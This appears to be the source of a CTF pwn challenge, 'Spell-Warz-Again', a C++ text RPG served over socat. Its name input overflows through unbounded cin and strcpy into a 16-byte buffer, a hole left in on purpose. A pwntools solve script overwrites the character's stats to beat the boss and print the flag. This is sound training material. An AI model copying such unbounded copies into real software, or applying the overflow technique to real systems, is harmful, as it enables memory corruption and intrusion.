| @ -0,0 +1,13 @@ | |||||
| FROM ubuntu:latest | |||||
| RUN apt update && \ | |||||
| apt install socat -y | |||||
| WORKDIR /app | |||||
| COPY ./flag.txt . | |||||
| COPY ./spell-warz-again . | |||||
| CMD socat tcp-listen:12345,reuseaddr,fork EXEC:\"./spell-warz-again\" | |||||
| EXPOSE 12345/tcp | |||||
| @ -0,0 +1,21 @@ | |||||
| MIT License | |||||
| Copyright (c) <year> <copyright holders> | |||||
| Permission is hereby granted, free of charge, to any person obtaining a copy | |||||
| of this software and associated documentation files (the "Software"), to deal | |||||
| in the Software without restriction, including without limitation the rights | |||||
| to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | |||||
| copies of the Software, and to permit persons to whom the Software is furnished | |||||
| to do so, subject to the following conditions: | |||||
| The above copyright notice and this permission notice (including the next | |||||
| paragraph) shall be included in all copies or substantial portions of the | |||||
| Software. | |||||
| THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |||||
| IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS | |||||
| FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS | |||||
| OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, | |||||
| WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF | |||||
| OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. | |||||
| @ -0,0 +1,19 @@ | |||||
| UserInterface.o: lib/UserInterface.cpp lib/UserInterface.hpp | |||||
| g++ -c lib/UserInterface.cpp -o UserInterface.o | |||||
| BattleInterface.o: lib/BattleInterface.cpp lib/BattleInterface.hpp | |||||
| g++ -c lib/BattleInterface.cpp -o BattleInterface.o | |||||
| Spell.o: lib/Spell.cpp lib/Spell.hpp | |||||
| g++ -c lib/Spell.cpp -o Spell.o | |||||
| Character.o: lib/Character.cpp lib/Character.hpp | |||||
| g++ -c lib/Character.cpp -o Character.o | |||||
| spell-warz-again: Spell.o Character.o UserInterface.o BattleInterface.o main.cpp | |||||
| g++ main.cpp -o spell-warz-again Spell.o Character.o UserInterface.o BattleInterface.o | |||||
| clean: all | |||||
| rm Spell.o Character.o UserInterface.o BattleInterface.o | |||||
| all: spell-warz-again | |||||
| @ -0,0 +1 @@ | |||||
| slashroot{dummy} | |||||
| @ -0,0 +1,108 @@ | |||||
| #include "BattleInterface.hpp" | |||||
| const int BattleInterface::maxTurn = 100; | |||||
| BattleInterface::BattleInterface() | |||||
| { | |||||
| this->turn = -1; | |||||
| this->player1 = nullptr; | |||||
| this->player2 = nullptr; | |||||
| this->winner = nullptr; | |||||
| this->loser = nullptr; | |||||
| } | |||||
| BattleInterface::BattleInterface(Character *p1, Character *p2) | |||||
| { | |||||
| this->turn = 1; | |||||
| this->player1 = p1; | |||||
| this->player2 = p2; | |||||
| this->winner = nullptr; | |||||
| this->loser = nullptr; | |||||
| } | |||||
| void BattleInterface::battleStartAnnounce() | |||||
| { | |||||
| std::cout << " === BATTLE START === \n" | |||||
| << " " << player1->getName() << "\n" | |||||
| << " vs \n" | |||||
| << " " << player2->getName() << "\n" | |||||
| << " === ============ === \n" | |||||
| << std::flush; | |||||
| } | |||||
| void BattleInterface::battleEndAnnouce() | |||||
| { | |||||
| std::cout << " === BATTLE END === \n" | |||||
| << "winner: " << this->winner->getName() << "\n" | |||||
| << std::flush; | |||||
| } | |||||
| Character *BattleInterface::getLoser() | |||||
| { | |||||
| return this->loser; | |||||
| } | |||||
| Character *BattleInterface::getWinner() | |||||
| { | |||||
| return this->winner; | |||||
| } | |||||
| void BattleInterface::start() | |||||
| { | |||||
| int choiceInt; | |||||
| char buff[64] = {0}; | |||||
| this->battleStartAnnounce(); | |||||
| while ((player1->isAlive() && player2->isAlive()) && this->turn <= BattleInterface::maxTurn) | |||||
| { | |||||
| std::cout << "Turn " << this->turn << " of " << BattleInterface::maxTurn << "\n" | |||||
| << "Your spell book:\n"; | |||||
| for (size_t i = 0; i < Spell::Book.size() && i < (player1->getLevel()); i++) | |||||
| { | |||||
| std::cout << "[" << i << "] " << Spell::Book.at(i).getName() << "\n"; | |||||
| } | |||||
| std::cout << std::flush; | |||||
| choiceInt = UserInterface::getNumber( | |||||
| "What are you gonna cast this turn?\n>", 0, | |||||
| player1->getLevel() > Spell::Book.size() ? Spell::Book.size() : player1->getLevel()); | |||||
| if (player1->canCastSpell(&Spell::Book.at(choiceInt))) | |||||
| { | |||||
| player1->castSpell(&Spell::Book.at(choiceInt), player2); | |||||
| snprintf(buff, 63, "%s cast %s...\n", player1->getName(), Spell::Book.at(choiceInt).getName().c_str()); | |||||
| UserInterface::print(buff); | |||||
| memset(buff, 0, 64); | |||||
| snprintf(buff, 63, "%s took %d damage...\n", player2->getName(), Spell::Book.at(choiceInt).getAmount()); | |||||
| UserInterface::print(buff); | |||||
| memset(buff, 0, 64); | |||||
| } | |||||
| else | |||||
| { | |||||
| snprintf(buff, 63, "%s failed to cast %s!\n", player1->getName(), Spell::Book.at(choiceInt).getName().c_str()); | |||||
| UserInterface::print(buff); | |||||
| } | |||||
| choiceInt = (random() % (player2->getLevel() < Spell::Book.size() ? player2->getLevel() : Spell::Book.size())); | |||||
| if (player2->canCastSpell(&Spell::Book.at(choiceInt))) | |||||
| { | |||||
| player2->castSpell(&Spell::Book.at(choiceInt), player1); | |||||
| snprintf(buff, 63, "%s cast %s...\n", player2->getName(), Spell::Book.at(choiceInt).getName().c_str()); | |||||
| UserInterface::print(buff); | |||||
| memset(buff, 0, 64); | |||||
| snprintf(buff, 63, "%s took %d damage...\n", player1->getName(), Spell::Book.at(choiceInt).getAmount()); | |||||
| UserInterface::print(buff); | |||||
| memset(buff, 0, 64); | |||||
| } | |||||
| else | |||||
| { | |||||
| snprintf(buff, 63, "%s failed to cast %s!\n", player2->getName(), Spell::Book.at(choiceInt).getName().c_str()); | |||||
| UserInterface::print(buff); | |||||
| } | |||||
| this->turn++; | |||||
| } | |||||
| winner = (player1->isAlive() && (player1->getCurHP() >= player2->getCurHP())) ? player1 : player2; | |||||
| loser = (winner == player1) ? player2 : player1; | |||||
| this->battleEndAnnouce(); | |||||
| } | |||||
| @ -0,0 +1,35 @@ | |||||
| #ifndef SPELL_WARZ_BATTLEINTERFACE_HPP | |||||
| #define SPELL_WARZ_BATTLEINTERFACE_HPP 1 | |||||
| #include <iostream> | |||||
| #include <thread> | |||||
| #include <chrono> | |||||
| #include "Character.hpp" | |||||
| #include "Spell.hpp" | |||||
| #include "UserInterface.hpp" | |||||
| class BattleInterface | |||||
| { | |||||
| protected: | |||||
| static const int maxTurn; | |||||
| int turn; | |||||
| Character *player1; | |||||
| Character *player2; | |||||
| Character *winner; | |||||
| Character *loser; | |||||
| void battleStartAnnounce(); | |||||
| void battleEndAnnouce(); | |||||
| void clearBuff(); | |||||
| public: | |||||
| BattleInterface(); | |||||
| BattleInterface(Character *p1, Character *p2); | |||||
| void start(); | |||||
| Character *getWinner(); | |||||
| Character *getLoser(); | |||||
| }; | |||||
| #endif | |||||
| @ -0,0 +1,216 @@ | |||||
| #include "Character.hpp" | |||||
| #include <cstring> | |||||
| const int Character::maxLevel = 0xffff; | |||||
| const int Character::maxExperience = 0x0fffffff; | |||||
| Character::Character() | |||||
| { | |||||
| this->level = 1; | |||||
| this->experience = 0; | |||||
| this->maxHP = 10; | |||||
| this->curHP = maxHP; | |||||
| this->maxMP = 5; | |||||
| this->curMP = maxMP; | |||||
| this->atk = 1; | |||||
| this->def = 1; | |||||
| memset(this->name, 0, 16); | |||||
| } | |||||
| Character::Character(char *n) : Character::Character() | |||||
| { | |||||
| strcpy(this->name, n); | |||||
| this->name[15] = 0; | |||||
| } | |||||
| Character::Character(const char *n) : Character::Character() | |||||
| { | |||||
| strcpy(this->name, n); | |||||
| this->name[15] = 0; | |||||
| } | |||||
| Character::Character(char *n, int l, int e, int h, int m, int a, int d) | |||||
| { | |||||
| strcpy(this->name, n); | |||||
| this->name[15] = 0; | |||||
| this->level = l; | |||||
| this->experience = e; | |||||
| this->maxHP = h; | |||||
| this->curHP = maxHP; | |||||
| this->maxMP = m; | |||||
| this->curMP = maxMP; | |||||
| this->atk = a; | |||||
| this->def = d; | |||||
| } | |||||
| Character::Character(const char *n, int l, int e, int h, int m, int a, int d) | |||||
| { | |||||
| strcpy(this->name, n); | |||||
| this->name[15] = 0; | |||||
| this->level = l; | |||||
| this->experience = e; | |||||
| this->maxHP = h; | |||||
| this->curHP = maxHP; | |||||
| this->maxMP = m; | |||||
| this->curMP = maxMP; | |||||
| this->atk = a; | |||||
| this->def = d; | |||||
| } | |||||
| char *Character::getName() | |||||
| { | |||||
| return this->name; | |||||
| } | |||||
| int Character::getLevel() | |||||
| { | |||||
| if (this->level > Character::maxLevel) | |||||
| { | |||||
| exit(-1); | |||||
| } | |||||
| return this->level; | |||||
| } | |||||
| int Character::getExperience() | |||||
| { | |||||
| if (this->experience > Character::maxExperience) | |||||
| { | |||||
| exit(-1); | |||||
| } | |||||
| return this->experience; | |||||
| } | |||||
| int Character::getMaxHP() | |||||
| { | |||||
| return this->maxHP; | |||||
| } | |||||
| int Character::getCurHP() | |||||
| { | |||||
| if (this->curHP > this->maxHP) | |||||
| { | |||||
| exit(-1); | |||||
| } | |||||
| return this->curHP; | |||||
| } | |||||
| int Character::getMaxMP() | |||||
| { | |||||
| return this->maxMP; | |||||
| } | |||||
| int Character::getCurMP() | |||||
| { | |||||
| if (this->curMP > this->maxMP) | |||||
| { | |||||
| exit(-1); | |||||
| } | |||||
| return this->curMP; | |||||
| } | |||||
| int Character::getAtk() | |||||
| { | |||||
| return this->atk; | |||||
| } | |||||
| int Character::getDef() | |||||
| { | |||||
| return this->def; | |||||
| } | |||||
| void Character::levelUp() | |||||
| { | |||||
| if ((this->level <= maxLevel) && this->readytoLevelUp()) | |||||
| { | |||||
| this->experience -= this->toNextLevel(); | |||||
| this->level++; | |||||
| this->maxHP += 10; | |||||
| this->maxMP += 5; | |||||
| this->curHP = this->maxHP; | |||||
| this->curMP = this->maxMP; | |||||
| } | |||||
| } | |||||
| void Character::restoreHP(int n) | |||||
| { | |||||
| this->curHP += n; | |||||
| if (this->curHP > this->maxHP) | |||||
| { | |||||
| this->curHP = this->maxHP; | |||||
| } | |||||
| } | |||||
| void Character::restoreMP(int n) | |||||
| { | |||||
| this->curMP += n; | |||||
| if (this->curMP > this->maxMP) | |||||
| { | |||||
| this->curMP = this->maxMP; | |||||
| } | |||||
| } | |||||
| void Character::reduceHP(int n) | |||||
| { | |||||
| this->curHP -= n; | |||||
| } | |||||
| void Character::reduceMP(int n) | |||||
| { | |||||
| this->curMP -= n; | |||||
| } | |||||
| bool Character::isAlive() | |||||
| { | |||||
| return this->curHP > 0; | |||||
| } | |||||
| int Character::toNextLevel() | |||||
| { | |||||
| return (this->level + 1) * (this->level + 1); | |||||
| } | |||||
| bool Character::readytoLevelUp() | |||||
| { | |||||
| return (this->toNextLevel() <= this->experience); | |||||
| } | |||||
| void Character::increaseExperience(int n) | |||||
| { | |||||
| this->experience += n; | |||||
| if (this->experience > maxExperience) | |||||
| { | |||||
| this->experience = maxExperience; | |||||
| } | |||||
| while (this->readytoLevelUp()) | |||||
| { | |||||
| this->levelUp(); | |||||
| } | |||||
| } | |||||
| bool Character::canCastSpell(Spell *s) | |||||
| { | |||||
| return this->curMP >= s->getCost(); | |||||
| } | |||||
| void Character::castSpell(Spell *s, Character *t) | |||||
| { | |||||
| this->reduceMP(s->getCost()); | |||||
| t->reduceHP(s->getAmount()); | |||||
| } | |||||
| void Character::rest() | |||||
| { | |||||
| this->curHP = this->maxHP; | |||||
| this->curMP = this->maxMP; | |||||
| } | |||||
| void Character::kill() | |||||
| { | |||||
| this->curHP = 0; | |||||
| } | |||||
| void Character::revive() | |||||
| { | |||||
| if (this->curHP <= 0) | |||||
| { | |||||
| this->curHP = 1; | |||||
| } | |||||
| } | |||||
| @ -0,0 +1,59 @@ | |||||
| #ifndef SPELL_WARZ_CHARACTER_HPP | |||||
| #define SPELL_WARZ_CHARACTER_HPP 1 | |||||
| #include <vector> | |||||
| #include "Spell.hpp" | |||||
| class Character | |||||
| { | |||||
| protected: | |||||
| static const int maxLevel; | |||||
| static const int maxExperience; | |||||
| char name[16]; | |||||
| int experience; | |||||
| int level; | |||||
| int atk; | |||||
| int def; | |||||
| int curHP; | |||||
| int curMP; | |||||
| int maxHP; | |||||
| int maxMP; | |||||
| void restoreHP(int); | |||||
| void restoreMP(int); | |||||
| void reduceHP(int); | |||||
| void reduceMP(int); | |||||
| public: | |||||
| Character(); | |||||
| Character(char *name); | |||||
| Character(const char *name); | |||||
| Character(char *name, int level, int exp, int hp, int mp, int atk, int def); | |||||
| Character(const char *name, int level, int exp, int hp, int mp, int atk, int def); | |||||
| void castSpell(Spell *src, Character *dst); | |||||
| bool canCastSpell(Spell *src); | |||||
| char *getName(); | |||||
| int getLevel(); | |||||
| int getExperience(); | |||||
| int getMaxHP(); | |||||
| int getCurHP(); | |||||
| int getMaxMP(); | |||||
| int getCurMP(); | |||||
| int getAtk(); | |||||
| int getDef(); | |||||
| int toNextLevel(); | |||||
| bool readytoLevelUp(); | |||||
| bool isAlive(); | |||||
| void levelUp(); | |||||
| void kill(); | |||||
| void rest(); | |||||
| void revive(); | |||||
| void increaseExperience(int n); | |||||
| }; | |||||
| #endif | |||||
| @ -0,0 +1,42 @@ | |||||
| #include "Spell.hpp" | |||||
| Spell::Spell(std::string n, int t, int a, int c) | |||||
| { | |||||
| this->name = std::string(n); | |||||
| this->type = t; | |||||
| this->amount = a; | |||||
| this->cost = c; | |||||
| } | |||||
| int Spell::getType() | |||||
| { | |||||
| return this->type; | |||||
| } | |||||
| int Spell::getAmount() | |||||
| { | |||||
| return this->amount; | |||||
| } | |||||
| int Spell::getCost() | |||||
| { | |||||
| return this->cost; | |||||
| } | |||||
| std::string Spell::getName() | |||||
| { | |||||
| return this->name; | |||||
| } | |||||
| std::vector<Spell> Spell::Book = { | |||||
| Spell("Napalm Beat", 1, 4, 1), | |||||
| Spell("Fire Ball", 1, 6, 2), | |||||
| Spell("Cold Bolt", 1, 8, 3), | |||||
| Spell("Stone curse", 1, 10, 4), | |||||
| Spell("Lightning Bolt", 1, 12, 5), | |||||
| Spell("Soul Strike", 1, 14, 6), | |||||
| Spell("Fire Wall", 1, 16, 7), | |||||
| Spell("Frost Diver", 1, 18, 8), | |||||
| Spell("Lighting Storm", 1, 20, 9), | |||||
| Spell("Asura's Strike", 1, 50, 10), | |||||
| }; | |||||
| @ -0,0 +1,28 @@ | |||||
| #ifndef SPELL_WARZ_SPELL_CPP | |||||
| #define SPELL_WARZ_SPELL_CPP 1 | |||||
| #include <vector> | |||||
| #include <string> | |||||
| class Spell | |||||
| { | |||||
| protected: | |||||
| std::string name; | |||||
| int type; | |||||
| int amount; | |||||
| int cost; | |||||
| public: | |||||
| int TYPE_RESTORATION = 0; | |||||
| int TYPE_DESTRUCTION = 1; | |||||
| static std::vector<Spell> Book; | |||||
| Spell(std::string, int, int, int); | |||||
| int getType(); | |||||
| int getAmount(); | |||||
| int getCost(); | |||||
| std::string getName(); | |||||
| }; | |||||
| #endif | |||||
| @ -0,0 +1,226 @@ | |||||
| #include "UserInterface.hpp" | |||||
| const int UserInterface::interval = 500; // in ms | |||||
| const int UserInterface::miniInterval = 50; // in ms | |||||
| const int UserInterface::maxDay = 28; | |||||
| const int UserInterface::maxMonth = 12; | |||||
| const int UserInterface::maxYear = 100; | |||||
| int UserInterface::day = 1; | |||||
| int UserInterface::month = 1; | |||||
| int UserInterface::year = 90; | |||||
| bool UserInterface::gameOver = false; | |||||
| std::vector<std::string> UserInterface::dayName = { | |||||
| "Morndas", | |||||
| "Tirdas", | |||||
| "Middas", | |||||
| "Turdas", | |||||
| "Fredas", | |||||
| "Loredas", | |||||
| "Sundas", | |||||
| }; | |||||
| std::vector<std::string> UserInterface::monthName = { | |||||
| "Morning Star", | |||||
| "Sun's Dawn", | |||||
| "First Seed", | |||||
| "Rain's Hand", | |||||
| "Second Seed", | |||||
| "Mid Year", | |||||
| "Sun's Height", | |||||
| "Last Seed", | |||||
| "Hearthfire", | |||||
| "Frostfall", | |||||
| "Sun's Dusk", | |||||
| "Evening Star", | |||||
| }; | |||||
| void UserInterface::print(std::string msg) | |||||
| { | |||||
| std::cout << msg << std::flush; | |||||
| std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::interval)); | |||||
| } | |||||
| void UserInterface::print(char *msg) | |||||
| { | |||||
| std::cout << msg << std::flush; | |||||
| std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::interval)); | |||||
| } | |||||
| void UserInterface::print(const char *msg) | |||||
| { | |||||
| std::cout << msg << std::flush; | |||||
| std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::interval)); | |||||
| } | |||||
| void UserInterface::printByChar(const char *msg) | |||||
| { | |||||
| int len = strlen(msg); | |||||
| for (size_t i = 0; i < len; i++) | |||||
| { | |||||
| std::cout << msg[i] << std::flush; | |||||
| std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::miniInterval)); | |||||
| } | |||||
| } | |||||
| void UserInterface::welcomeMessage() | |||||
| { | |||||
| std::cout << "+++++++++++++++++++++++++++++++++++\n" | |||||
| << "+ Welcome to Spell-Warz-Again !!! +\n" | |||||
| << "+++++++++++++++++++++++++++++++++++\n" | |||||
| << std::flush; | |||||
| } | |||||
| Character *UserInterface::characterCreation() | |||||
| { | |||||
| char buffer[128] = {0}; | |||||
| char choice = 0; | |||||
| int i; | |||||
| short b; | |||||
| while (choice != 'y' && choice != 'Y') | |||||
| { | |||||
| std::cout << "Who should we call you?\n" | |||||
| << ">" << std::flush; | |||||
| std::cin >> buffer; | |||||
| std::cout << "So you are a young mage named \"" << buffer << "\" correct? (y/N)\n" | |||||
| << ">"; | |||||
| std::cin >> choice; | |||||
| } | |||||
| return new Character(buffer); | |||||
| } | |||||
| void UserInterface::epilogue() | |||||
| { | |||||
| UserInterface::printByChar( | |||||
| "You are just a young mage in a mage school,\n" | |||||
| "When you witnessed your arch-mage got defeated by your senior...\n" | |||||
| "He was mumbling about some flag inside a scroll,\n" | |||||
| "he also mentioned something about a competition called CTF...\n" | |||||
| "You thought to yourself: \"What the f*ck is a CTF?\"\n" | |||||
| "Nevertheless, you want that scroll, you want that flag!\n" | |||||
| "Defeat the new arch-mage that was once your senior to get a glimpse of that scroll!\n" | |||||
| "Note: You need to do this in 10 year of in-game, otherwise you would graduate first...\n"); | |||||
| } | |||||
| std::string UserInterface::dateString() | |||||
| { | |||||
| char date[5] = {0}; | |||||
| if (UserInterface::day < 21) | |||||
| { | |||||
| switch (UserInterface::day) | |||||
| { | |||||
| case 1: | |||||
| sprintf(date, "1st"); | |||||
| break; | |||||
| case 2: | |||||
| sprintf(date, "2nd"); | |||||
| break; | |||||
| case 3: | |||||
| sprintf(date, "3rd"); | |||||
| break; | |||||
| default: | |||||
| sprintf(date, "%dth", UserInterface::day); | |||||
| break; | |||||
| } | |||||
| } | |||||
| else | |||||
| { | |||||
| switch (UserInterface::day % 10) | |||||
| { | |||||
| case 1: | |||||
| sprintf(date, "%dst", UserInterface::day); | |||||
| break; | |||||
| case 2: | |||||
| sprintf(date, "%dnd", UserInterface::day); | |||||
| break; | |||||
| case 3: | |||||
| sprintf(date, "%drd", UserInterface::day); | |||||
| break; | |||||
| default: | |||||
| sprintf(date, "%dth", UserInterface::day); | |||||
| break; | |||||
| } | |||||
| } | |||||
| return std::string( | |||||
| UserInterface::dayName.at(((UserInterface::day - 1) % 7)) + ", " + | |||||
| date + " of " + UserInterface::monthName.at(UserInterface::month - 1) + | |||||
| ", Year " + std::to_string(UserInterface::year)); | |||||
| } | |||||
| void UserInterface::menu() | |||||
| { | |||||
| std::cout << "=======================================\n" | |||||
| << UserInterface::dateString() << "\n" | |||||
| << "=======================================\n" | |||||
| << "Available action:\n" | |||||
| << "[1] Take a rest\n" | |||||
| << "[2] Practice magic\n" | |||||
| << "[3] Spar against classmate\n" | |||||
| << "[4] Challenge the new Arch-Mage\n" | |||||
| << "[5] Gather info about the new Arch-Mage\n" | |||||
| << "[6] Meditate to your inner-self\n" | |||||
| << "[0] Commit sudoku\n" | |||||
| << std::flush; | |||||
| } | |||||
| void UserInterface::enemiesInfo(std::vector<Character *> &enemies) | |||||
| { | |||||
| for (int i = 0; i < enemies.size(); i++) | |||||
| { | |||||
| std::cout << "[" << i << "] " << enemies.at(i)->getName() << " (Lv." << enemies.at(i)->getLevel() << ")\n"; | |||||
| } | |||||
| std::cout << std::flush; | |||||
| } | |||||
| int UserInterface::getNumber(std::string msg, int min, int max) | |||||
| { | |||||
| int buffer = max + 1; | |||||
| do | |||||
| { | |||||
| std::cout << msg << std::flush; | |||||
| if (std::cin.failbit || std::cin.eofbit) | |||||
| { | |||||
| std::cin.clear(); | |||||
| std::cin.ignore(1); | |||||
| } | |||||
| } while (std::cin >> buffer && !(buffer <= max && buffer >= min)); | |||||
| return buffer; | |||||
| } | |||||
| void UserInterface::nextDay() | |||||
| { | |||||
| if (UserInterface::day++ >= UserInterface::maxDay) | |||||
| { | |||||
| day = 1; | |||||
| if (UserInterface::month++ >= UserInterface::maxMonth) | |||||
| { | |||||
| month = 1; | |||||
| if (UserInterface::year++ >= UserInterface::maxYear) | |||||
| { | |||||
| UserInterface::gameOver = true; | |||||
| } | |||||
| } | |||||
| } | |||||
| } | |||||
| bool UserInterface::isGameOver() | |||||
| { | |||||
| return gameOver; | |||||
| } | |||||
| void UserInterface::characterInfo(Character *c) | |||||
| { | |||||
| std::cout << "++++++++++++++++++++++++" | |||||
| << "\nName: " << c->getName() | |||||
| << "\n HP: " << c->getCurHP() << "/" << c->getMaxHP() | |||||
| << "\n MP: " << c->getCurMP() << "/" << c->getMaxMP() | |||||
| << "\n Lv: " << c->getLevel() | |||||
| << "\n Xp: " << c->getExperience() | |||||
| << "\n next: " << c->toNextLevel() | |||||
| << "\n++++++++++++++++++++++++" << std::endl; | |||||
| } | |||||
| @ -0,0 +1,53 @@ | |||||
| #ifndef SPELL_WARZ_USER_INTERFACE_HPP | |||||
| #define SPELL_WARZ_USER_INTERFACE_HPP 1 | |||||
| #include <iostream> | |||||
| #include <thread> | |||||
| #include <chrono> | |||||
| #include <string> | |||||
| #include <cstring> | |||||
| #include "Character.hpp" | |||||
| #include "Spell.hpp" | |||||
| class UserInterface | |||||
| { | |||||
| protected: | |||||
| static const int interval; // in ms | |||||
| static const int miniInterval; // in ms | |||||
| static const int maxDay; | |||||
| static const int maxMonth; | |||||
| static const int maxYear; | |||||
| static std::vector<std::string> dayName; | |||||
| static std::vector<std::string> monthName; | |||||
| static int day; | |||||
| static int month; | |||||
| static int year; | |||||
| static bool gameOver; | |||||
| public: | |||||
| static void print(std::string); | |||||
| static void print(const char *); | |||||
| static void print(char *); | |||||
| static void printByChar(std::string); | |||||
| static void printByChar(const char *); | |||||
| static void printByChar(char *); | |||||
| static void welcomeMessage(); | |||||
| static void epilogue(); | |||||
| static void menu(); | |||||
| static void nextDay(); | |||||
| static void characterInfo(Character *); | |||||
| static void enemiesInfo(std::vector<Character *> &); | |||||
| static std::string dateString(); | |||||
| static int getNumber(std::string, int, int); | |||||
| static Character *characterCreation(); | |||||
| static bool isGameOver(); | |||||
| }; | |||||
| #endif | |||||
| @ -0,0 +1,150 @@ | |||||
| #include <iostream> | |||||
| #include <fstream> | |||||
| #include <thread> | |||||
| #include <chrono> | |||||
| #include <random> | |||||
| #include <fstream> | |||||
| #include <unistd.h> | |||||
| #include "lib/Character.hpp" | |||||
| #include "lib/Spell.hpp" | |||||
| #include "lib/UserInterface.hpp" | |||||
| #include "lib/BattleInterface.hpp" | |||||
| std::string loadFlag() | |||||
| { | |||||
| std::string flagString; | |||||
| std::ifstream flagFile("flag.txt"); | |||||
| flagFile >> flagString; | |||||
| flagFile.close(); | |||||
| return flagString; | |||||
| } | |||||
| int main() | |||||
| { | |||||
| std::string flag; | |||||
| Character *player; | |||||
| Character *archMage; | |||||
| Character *enemy; | |||||
| BattleInterface battle; | |||||
| std::vector<Character *> enemies; | |||||
| flag = loadFlag(); | |||||
| srand(time(0)); | |||||
| alarm(600); | |||||
| UserInterface::welcomeMessage(); | |||||
| UserInterface::epilogue(); | |||||
| player = UserInterface::characterCreation(); | |||||
| archMage = new Character("Arch-Mage", 500, 0, 5000, 5000, 1, 1); | |||||
| enemies = { | |||||
| new Character("Abby", 1, 1, 10, 5, 1, 1), | |||||
| new Character("John", 2, 3, 20, 10, 1, 1), | |||||
| new Character("Adam", 3, 7, 40, 25, 1, 1), | |||||
| new Character("Christo", 4, 11, 80, 40, 1, 1), | |||||
| new Character("Greg", 5, 16, 160, 80, 1, 1), | |||||
| }; | |||||
| while (player->isAlive() && !UserInterface::isGameOver()) | |||||
| { | |||||
| int choiceInt = -1; | |||||
| char choiceChar = -1; | |||||
| UserInterface::menu(); | |||||
| choiceInt = UserInterface::getNumber( | |||||
| "What are you gonna do today?\n>", | |||||
| 0, 6); | |||||
| switch (choiceInt) | |||||
| { | |||||
| case 0: | |||||
| UserInterface::print("You commit sudoku...\n"); | |||||
| UserInterface::print("Was it supposed to be seppuku?\n"); | |||||
| UserInterface::print("Nevermind, you killed yourself.\n"); | |||||
| player->kill(); | |||||
| break; | |||||
| case 1: | |||||
| UserInterface::print("You spend the whole day sleeping...\n"); | |||||
| UserInterface::print("HP and MP restored.\n"); | |||||
| player->rest(); | |||||
| break; | |||||
| case 2: | |||||
| UserInterface::print("You practice your magic in the yard...\n"); | |||||
| UserInterface::print("You gained some experience.\n"); | |||||
| player->increaseExperience((random() % player->getLevel()) + 1); | |||||
| break; | |||||
| case 3: | |||||
| UserInterface::print("List of your classmates:\n"); | |||||
| UserInterface::enemiesInfo(enemies); | |||||
| choiceInt = UserInterface::getNumber("Who would you prefer to train with?\n>", 0, enemies.size()); | |||||
| UserInterface::print("You are going to spar with:\n"); | |||||
| UserInterface::characterInfo(enemies.at(choiceInt)); | |||||
| UserInterface::print("Are you sure? (y/N)\n>"); | |||||
| std::cin >> choiceChar; | |||||
| if (choiceChar == 'y' || choiceChar == 'Y') | |||||
| { | |||||
| enemy = new Character(*enemies.at(choiceInt)); | |||||
| battle = BattleInterface(player, enemy); | |||||
| battle.start(); | |||||
| if (battle.getWinner() == player) | |||||
| { | |||||
| UserInterface::print("You win, you get more experience...\n"); | |||||
| player->increaseExperience(enemies.at(choiceInt)->getLevel()); | |||||
| } | |||||
| else | |||||
| { | |||||
| UserInterface::print("You lose, but you still get some experience...\n"); | |||||
| player->revive(); | |||||
| player->increaseExperience(enemies.at(choiceInt)->getLevel() / 2); | |||||
| } | |||||
| delete enemy; | |||||
| } | |||||
| else | |||||
| { | |||||
| UserInterface::print("On second thought, you decide to sleep in your room instead...\n"); | |||||
| player->rest(); | |||||
| } | |||||
| break; | |||||
| case 4: | |||||
| UserInterface::print("You are going to challenge the Arch-Mage...\n"); | |||||
| UserInterface::print("Are you sure? (y/N)\n>"); | |||||
| std::cin >> choiceChar; | |||||
| if (choiceChar == 'y' || choiceChar == 'Y') | |||||
| { | |||||
| battle = BattleInterface(player, archMage); | |||||
| battle.start(); | |||||
| if (battle.getWinner() == player) | |||||
| { | |||||
| UserInterface::print("You win, you get more experience...\n"); | |||||
| player->increaseExperience(enemies.at(choiceInt)->getLevel()); | |||||
| UserInterface::print("You win against the Arch-Mage!\n"); | |||||
| UserInterface::print("He let you take a glimpse to the scroll that you always wanted...\n"); | |||||
| UserInterface::print("Turns out the content is just some meaningless word...\n"); | |||||
| UserInterface::print("Here is the content:\n"); | |||||
| UserInterface::print(flag + "\n"); | |||||
| } | |||||
| else | |||||
| { | |||||
| UserInterface::print("You lose...\n"); | |||||
| UserInterface::print("Sadly his spell was to powerful,\n"); | |||||
| UserInterface::print("You got killed by the arch-mage...\n"); | |||||
| } | |||||
| } | |||||
| else | |||||
| { | |||||
| UserInterface::print("On second thought, you decide to sleep in your room instead...\n"); | |||||
| player->rest(); | |||||
| } | |||||
| break; | |||||
| case 5: | |||||
| UserInterface::print("You found some info about the arch-mage:\n"); | |||||
| UserInterface::characterInfo(archMage); | |||||
| break; | |||||
| case 6: | |||||
| UserInterface::print("You meditate and got some insight to your ability:\n"); | |||||
| UserInterface::characterInfo(player); | |||||
| break; | |||||
| } | |||||
| UserInterface::nextDay(); | |||||
| } | |||||
| } | |||||
| @ -0,0 +1,18 @@ | |||||
| from pwn import * | |||||
| if __name__ == "__main__": | |||||
| p = process("./main") | |||||
| print p.recvuntil(">") | |||||
| p.sendline(("A" * 16) + ("\xff\xff\xff\x0f\x01")) | |||||
| print p.recvuntil(">") | |||||
| p.sendline("y") | |||||
| print p.recvuntil(">") | |||||
| p.sendline("2") | |||||
| print p.recvuntil(">") | |||||
| p.sendline("4") | |||||
| print p.recvuntil(">") | |||||
| p.sendline("y") | |||||
| for i in xrange(99): | |||||
| print p.recvuntil(">") | |||||
| p.sendline("9") | |||||
| p.interactive() | |||||